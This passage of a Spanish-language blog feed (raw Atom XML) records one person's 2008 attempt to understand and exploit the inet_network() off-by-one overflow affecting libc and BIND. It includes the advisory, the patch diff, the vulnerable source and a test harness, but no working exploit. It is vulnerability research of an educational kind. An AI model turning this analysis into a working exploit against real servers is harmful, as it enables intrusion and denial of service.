51);"&gt;long&lt;/span&gt; prueba;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;long&lt;/span&gt; i;&lt;br /&gt;prueba = 0xf;&lt;br /&gt;i = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;i &amp;lt; &lt;span style="color: rgb(204, 102, 204);"&gt;20&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; &lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"Prueba: %i&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;,prueba&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt; i++;&lt;br /&gt; prueba = &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;prueba &amp;lt;&amp;lt; &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; + 0xf;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;/pre&gt;&lt;br /&gt;sin embargo no fue asi, me acorde que el corrimiento de Bits se hace en el microprocesador, y el resultado va a la RAM, (Claro que si la variable es &lt;b&gt;register&lt;/b&gt; no es asi).  &lt;img src="http://foro.elhacker.net/Smileys/chef/cry.gif" alt="cry" border="0" /&gt; estoy medio perdido.&lt;br /&gt;&lt;br /&gt;Por ahi he oido que los BoF del tipo Off-By-One no son explotables, sin embargo tambien he visto ejemplos en casos donde tienes algo de control del entorno  (local) y las condiciones del BoF son casi Optimas, digamos pila Bien alineada capacidad de meter el shell y etc.. el xploit si puede ser posible.&lt;br /&gt;&lt;br /&gt;Esto solo me interesa por el reto de poder hacer que una aplicacion Ejecute tu codigo por gusto memeramente educativo.  &lt;img src="http://foro.elhacker.net/Smileys/chef/grin.gif" alt="grin" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Bueno entre las pruebas que estuve haciendo he visto que la aplicacion que tengo de prueba puede recivir cadenas como las que siguen sin colgarse:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;%./test_network 0xfffff00000011.0xfabcd000000003.0xa.0x90&lt;br /&gt;0x11030a90&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;pero no nos ganamos nada ya que no ponemos nada en la memoria, las ffff se pierden en el corrimiento de bits hacia la izquierda dentro del microprocesador.  &lt;img src="http://foro.elhacker.net/Smileys/chef/sad.gif" alt="sad" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Un saludo!!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-7930490609642959746?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/7930490609642959746/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=7930490609642959746' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7930490609642959746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7930490609642959746'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/01/re-bof-en-inetnetwork-afecta-servidor_29.html' title='Re: BoF en inet_network(), afecta a Servidor DNS: BIND'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-3308334170881689855</id><published>2008-01-28T22:06:00.001-06:00</published><updated>2009-02-23T12:39:27.704-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='BIND'/><category scheme='http://www.blogger.com/atom/ns#' term='inet_network()'/><category scheme='http://www.blogger.com/atom/ns#' term='BoF'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><title type='text'>Re: BoF en inet_network(), afecta a Servidor DNS: BIND</title><content type='html'>&lt;div style="overflow: auto; width: 100%;"&gt;En la pagina de BIND: &lt;a href="http://www.isc.org/index.pl?/sw/bind/bind-security.php" target="_blank" class="posted"&gt;BIND Vulnerabilities&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div align="center"&gt;&lt;i&gt;Impact:&lt;br /&gt;&lt;br /&gt;Applications linked against libbind which call inet_network() with untrusted inputs could lead to a denial-of-service or potentially code execution.&lt;br /&gt;&lt;br /&gt;Note that none of the applications shipped with BIND 8 or BIND 9 call inet_network().&lt;/i&gt;&lt;/div&gt;&lt;hr /&gt;&lt;br /&gt;Veamos La pagina nos dice nuevamente lo mismo Podemos hacer un DoS al servidor BIND, o podemos ejecutar codigo arbitrareo en el equipo que aloja el servidor.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;Index: inet_network.c&lt;br /&gt;diff -u inet_network.c:1.5 inet_network.c:1.6&lt;br /&gt;--- inet_network.c:1.5&lt;span style="white-space: pre;"&gt; &lt;/span&gt;Wed Apr 27 04:56:21 2005&lt;br /&gt;+++ inet_network.c&lt;span style="white-space: pre;"&gt; &lt;/span&gt;Tue Jan 15 04:02:01 2008&lt;br /&gt;@@ -84,9 +84,9 @@&lt;br /&gt; &lt;span style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt; &lt;span style="white-space: pre;"&gt; &lt;/span&gt;if (!digit)&lt;br /&gt; &lt;span style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="white-space: pre;"&gt; &lt;/span&gt;return (INADDR_NONE);&lt;br /&gt;+&lt;span style="white-space: pre;"&gt; &lt;/span&gt;if (pp &amp;gt;= parts + 4 || val &amp;gt; 0xffU)&lt;br /&gt;+&lt;span style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="white-space: pre;"&gt; &lt;/span&gt;return (INADDR_NONE);&lt;br /&gt; &lt;span style="white-space: pre;"&gt; &lt;/span&gt;if (*cp == '.') {&lt;br /&gt;-&lt;span style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="white-space: pre;"&gt; &lt;/span&gt;if (pp &amp;gt;= parts + 4 || val &amp;gt; 0xffU)&lt;br /&gt;-&lt;span style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="white-space: pre;"&gt; &lt;/span&gt;return (INADDR_NONE);&lt;br /&gt; &lt;span style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="white-space: pre;"&gt; &lt;/span&gt;*pp++ = val, cp++;&lt;br /&gt; &lt;span style="white-space: pre;"&gt; &lt;/span&gt;&lt;span style="white-space: pre;"&gt; &lt;/span&gt;goto again;&lt;br /&gt; &lt;span style="white-space: pre;"&gt; &lt;/span&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Viendo las diferencias vemos que  la version, 1.5 del archivo vulnerable es casi exactamente lo mismo solo movieron de lugar la siguiente Intruccion:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pp &amp;gt;= parts + &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt; || val &amp;gt; 0xffU&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;/pre&gt;&lt;br /&gt;En la version Vulnerable esta dentro del &lt;b&gt;if (*cp == '.')&lt;/b&gt; y la version NO vulnerable esta afuera antes de &lt;b&gt;if (*cp == '.')&lt;/b&gt;, lo cual me indica que la clave de esto debe estar en saber manejar el formato de entrada con los Puntos &lt;span style="text-decoration: underline;"&gt;&lt;b&gt;'.'&lt;/b&gt;&lt;/span&gt;. Ya me he impreso el codigo fuente vulnerable y lo estoy analizando paso por paso, ya que no he podido encontrar un input que vulnere el codigo.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-3308334170881689855?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/3308334170881689855/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=3308334170881689855' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3308334170881689855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3308334170881689855'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/01/re-bof-en-inetnetwork-afecta-servidor.html' title='Re: BoF en inet_network(), afecta a Servidor DNS: BIND'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-5283332465885015367</id><published>2008-01-25T16:49:00.001-06:00</published><updated>2009-02-23T12:39:09.270-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='BIND'/><category scheme='http://www.blogger.com/atom/ns#' term='inet_network()'/><category scheme='http://www.blogger.com/atom/ns#' term='BoF'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><title type='text'>BoF en inet_network(), afecta a Servidor DNS: BIND</title><content type='html'>&lt;div style="overflow: auto; width: 100%;"&gt;Bien, recientemente he empesado a ver en la lista de  &lt;a href="http://www.freebsd.org/security/rss.xml" target="_blank" class="posted"&gt;&lt;b&gt;&lt;span style="color:red;"&gt;SECURITY ADVISORIES&lt;/span&gt;&lt;/b&gt;&lt;/a&gt; de FreeBSD, la cual normalmente no veia, sin embargo quiero ser un buen adminsitrador del sistema que utilizo.  &lt;img src="http://foro.elhacker.net/Smileys/chef/wink.gif" alt="wink" border="0" /&gt; y estar al dia con las actulizaciones  &lt;img src="http://foro.elhacker.net/Smileys/chef/grin.gif" alt="grin" border="0" /&gt;. he visto que hay algunos bugs, ya descubiertos con todo y parche. Obviamente anuncian esto cuando ya se tiene el parche  &lt;img src="http://foro.elhacker.net/Smileys/chef/tongue.gif" alt="tongue" border="0" /&gt;, pero bueno el Motivo de este mensaje es el siguente:&lt;br /&gt;&lt;br /&gt;Ver si somos o mas bien soy capaz de construir un exploit para dicha Vulnerabilidad, he hecho exploits para programas sencillos, y BoF bien ubicados, pero de ahi en mas no lo he hecho con aplicaciones complejas.&lt;br /&gt;&lt;br /&gt;Por si alguien me quiere ayudar... se lo agradecere de antemano.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Bien los link de bug que me intereso son los siguentes:&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li&gt;En la lista de FreeBSD: &lt;a href="http://security.freebsd.org/advisories/FreeBSD-SA-08:02.libc.asc" target="_blank" class="posted"&gt;FreeBSD-SA-08:02.libc.asc&lt;/a&gt;&lt;/li&gt;&lt;li&gt;En securityFocus: &lt;a href="http://www.securityfocus.com/bid/27283/info" target="_blank" class="posted"&gt;CVE-2008-0122&lt;/a&gt;&lt;/li&gt;&lt;li&gt;En la pagina de BIND: &lt;a href="http://www.isc.org/index.pl?/sw/bind/bind-security.php" target="_blank" class="posted"&gt;BIND Vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Ahora para los que no sepen y quieran enterarse, BIND, es un Servidor DNS muy extendido hoy en dia, con la ayuda de este, ustedes pueden entrar a google, o al foro.&lt;br /&gt;&lt;br /&gt;Mas informacion en &lt;a href="http://es.wikipedia.org/wiki/BIND" target="_blank" class="posted"&gt;BIND by Wikipedia&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;La funcion donde se encuentra la falla, es una funcion estandar en libc, esto quiere decir y por si no vieron los primeros Links, FreeBSD no es el unico Afectado por esto, tambien hay muchas Versiones de Linux, UNIX, etc. Y ademas todas las versiones del Servidor BIND, hasta ultima version de 22/01/2008.&lt;br /&gt;&lt;br /&gt;La pagina de BIND, considera esto como un Riesgo de Seguridad Bajo, y tienen Razon, el parche ya existe, pero cuantos son los Administradores de Sistemas (me Incluyo) que pocas veces (si no es que ninguna) han aplicado parches de seguridad.&lt;br /&gt;&lt;br /&gt;La falla Esta en la funcion inet_network(), la cual es usada por BIND.&lt;br /&gt;&lt;br /&gt;he hecho un archivo para testearla, pero no consigo burlarla, pero bueno ya que, aqui esta mi codigo de test, creo yo que asi se puede testear. que alguien con mas experiencia me corrija si es que me equivoco.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;test_network.c&lt;/b&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; argc,&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; *argv&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; *host = &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;argc &amp;gt; &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; ? argv&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt; : &lt;span style="color: rgb(255, 0, 0);"&gt;"192.168.0.1"&lt;/span&gt;;&lt;br /&gt;in_addr_t  net = inet_network&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;host&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"0x%x&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;,net&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;/pre&gt;&lt;br /&gt;Ahora, todos los links que mostre muestran que si tratas de explotar dicho bug, y fallas ocacionarias un DoS a los usuarios legitimos del servidor. Pero si das en el punto exacto podras ejecutar codigo arbitrario en la maquina remota. lo cual te puede permitir el acceso al servidor.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Successfully exploiting this issue may allow attackers to execute arbitrary machine code in the context of applications that use the affected library. Failed exploit attempts may crash applications, denying service to legitimate users.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;He instaldo el servidor BIND en una maquina de prueba para ir  probando los avances en la aplicacion mas Afectada por este BoF.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Bien ahora estoy analizando la funcion Vulnerable, cabe mencionar que es casi la misma en mi sistema FreeBSD que la que trae incluida el Servidor BIND.&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;u_long&lt;br /&gt;inet_network&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;cp&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;register&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;const&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; *cp;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;register&lt;/span&gt; u_long val, base, n, i;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;register&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; c;&lt;br /&gt;u_long parts&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;, *pp = parts;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; digit;&lt;br /&gt;&lt;br /&gt;again:&lt;br /&gt;val = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;; base = &lt;span style="color: rgb(204, 102, 204);"&gt;10&lt;/span&gt;; digit = &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'0'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; digit = &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;, base = &lt;span style="color: rgb(204, 102, 204);"&gt;8&lt;/span&gt;, cp++;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'x'&lt;/span&gt; || *cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'X'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; base = &lt;span style="color: rgb(204, 102, 204);"&gt;16&lt;/span&gt;, cp++;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;c = *cp&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; != &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;isdigit&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;c&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;base == 8U &amp;amp;&amp;amp; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;c == &lt;span style="color: rgb(255, 0, 0);"&gt;'8'&lt;/span&gt; || c == &lt;span style="color: rgb(255, 0, 0);"&gt;'9'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;  val = &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;val * base&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; + &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;c - &lt;span style="color: rgb(255, 0, 0);"&gt;'0'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;  cp++;&lt;br /&gt;  digit = &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;continue&lt;/span&gt;;&lt;br /&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;base == 16U &amp;amp;&amp;amp; isxdigit&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;c&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;  val = &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;val &amp;lt;&amp;lt; &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; +&lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;c + &lt;span style="color: rgb(204, 102, 204);"&gt;10&lt;/span&gt; - &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;islower&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;c&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; ? &lt;span style="color: rgb(255, 0, 0);"&gt;'a'&lt;/span&gt; : &lt;span style="color: rgb(255, 0, 0);"&gt;'A'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;  cp++;&lt;br /&gt;  digit = &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;continue&lt;/span&gt;;&lt;br /&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;break&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;!digit&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'.'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pp &amp;gt;= parts + &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt; || val &amp;gt; 0xffU&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt; *pp++ = val, cp++;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; again;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp &amp;amp;&amp;amp; !isspace&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp&amp;amp;0xff&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;*pp++ = val;&lt;br /&gt;n = pp - parts;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;n &amp;gt; 4U&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;for&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;val = 